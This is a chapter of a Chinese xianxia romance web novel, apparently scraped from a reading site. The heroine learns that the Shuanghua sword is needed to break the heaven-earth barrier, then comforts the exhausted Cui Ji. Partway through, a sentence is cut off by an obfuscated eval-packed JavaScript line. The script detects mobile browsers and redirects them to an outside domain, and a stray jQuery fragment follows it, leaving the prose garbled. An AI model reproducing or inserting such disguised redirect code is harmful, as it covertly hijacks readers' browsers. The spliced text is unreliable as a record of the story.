70. 计划有变(第2页)

    醴芫点头:“嗯,天授神器,霜华剑。”

    “浣月死后,这柄剑理应在李玄烛手上。”

    “破开天地屏障,必须要用到这把神器,李玄烛临行前将霜华剑给了尊上,尊上又给了我。”

    竹声声曾于书中读过,天地屏障与伏羲结界同为伏羲设下,目的在于阻断天地通行。

    是以人族若要跻身仙列,必须经由飞升一途,而魔族想要攻打天界,也必须有足够的力量,冲破隔绝天地的那道屏障。

    前世元始魔气之所以答应魔尊,启用改逆时空之法,令一切重来,亦是因魔族的力量尚未攒够。

    他们屠戮了人间,仅是砍去了天界的左膀右臂,突破不了天地屏障,魔族连帝君的脚趾头都碰不到。

    “尊上让我协助于你,我应该如何做?”

    “夫人,你且抬头看。”

    竹声声仰观穹顶,繁复古朴的纹路因为大量灵力的注入而有了变化,零碎的图案慢慢聚合、衍变,慢慢勾勒出一幅完整而古老的壁画。

    画中描绘的,是数万年前神魔大战的画面,魔物肆虐、引燃战火,各路神祇为了镇压魔物,甘愿牺牲自己,渐次陨落消亡。

    壁画华光璀璨,光芒投落于阵中崔寂的黑袍上,仿佛崔寂也成了上古神祇,正欲牺牲自己,给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933703|166344||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    那魔物最后一击。

    “尊上修补了数年结界,他早已发现,神农神力与伏羲神力并不同源,所以,他成功的机会本就非常渺茫。”

    “那伏羲神力呢?”竹声声追问道,“神农神力散落轮回,伏羲神力又遗落何处?”

    “伏羲神力并未遗落……”醴芫立起霜华,凛冽剑光映得他瞳孔冰冷,“虽剩余不多,却全在天界,用以维持紫霄庭高悬不堕。”

    竹声声听得心底发笑,悬于九天的紫霄庭竟是以残余的伏羲神力维持的。

    难怪帝君将修补结界之事一股脑儿甩给人间众修,否则天界留存的伏羲神力耗尽,紫霄庭坠落,仙族便再也无法高人一等,将人族指使来、指使去了。

    穹顶的壁画即将勾勒完全,竹声声料到,那即是借霜华剑破开天地屏障的唯一机会。

    她深深看了眼仍在坚持的崔寂,而后对醴芫道:“大阵启动时,我会助你一臂之力,一举破开天地屏障。”

    醴芫听了,却摇了摇头:“倘若仙使不来,您协助于我倒也无妨。可如今仙使邀您去面见帝君,夫人便不宜再插手。”

    崔寂说,他原本的计划里,就是没有她的。

    他以凡人之躯,联手天界“弃子”,做的却是刺破天地屏障、谋取伏羲神力这等大逆不道之事。

    此事无论成与不成,他们反叛之心已显,帝君盛怒之下,焉能留他们性命?

    竹声声不插手,才能撇清干系,就算崔寂与醴芫失败了,她也不至于与仙族为敌。

    “既然帝君邀请我,我去一趟紫霄庭又有何妨?”沉吟半晌,她心里已有了盘算。

    “尊上说,请夫人务必小心,保护好自己,”醴芫向她颔首一礼,“哪怕天翻地覆,他也会在这里,等你回来。”

    竹声声目光笃定,用力点了点头。

    她是人如何?是神又如何?她从未有过驭使他人的念头,也从未推卸过应当承担的责任,他与帝君、与紫霄庭根本不是一路人,只要助崔寂达成计划,她就会回到这里来,与他举案齐眉,长相厮守。

    趁霆法还没来,竹声声终是飞身落入阵眼,将已脱力的崔寂抱入了怀中。

    她初次闯入阵眼时,结界修补的速度便快了许多,虽不能彻底弥合,却也可以减轻些他的负担与痛楚。

    可崔寂还是选择了独自忍受,比起身体上的痛,他更后怕于她被神力反噬,灵脉俱碎,那般没有生气地委顿在自己面前。

    “师姐……”崔寂寡白着一张脸,慢慢伸出小指,勾住她的。

    “小木头,笨死了,痛也不知道喊。”竹声声红着眼,喉头哽咽发酸。

    “我……是很笨,要是……我成功了……师姐可不可以,奖励……我?”

    “想要什么?只要我有,我都给你。”

    “在小院的时候……我做饭给师姐吃,师姐可不可以……做一次,给我吃啊……”

    “那时候我试过了呀,我做的东西……太难吃了。”

    “可是我喜欢……我好喜欢的,我想……再吃一口……”

    “好,可你这些天都不能离开阵眼,待我做好,就给你送来。”

    比起一顿饭菜,竹声声更心疼他的身体,说着便又渡了许多灵力给他。

    崔寂寡白的脸泛起不自然的潮红,他勾紧竹声声的小指,看向她的眼瞳立刻被迷乱和欲望和填满了。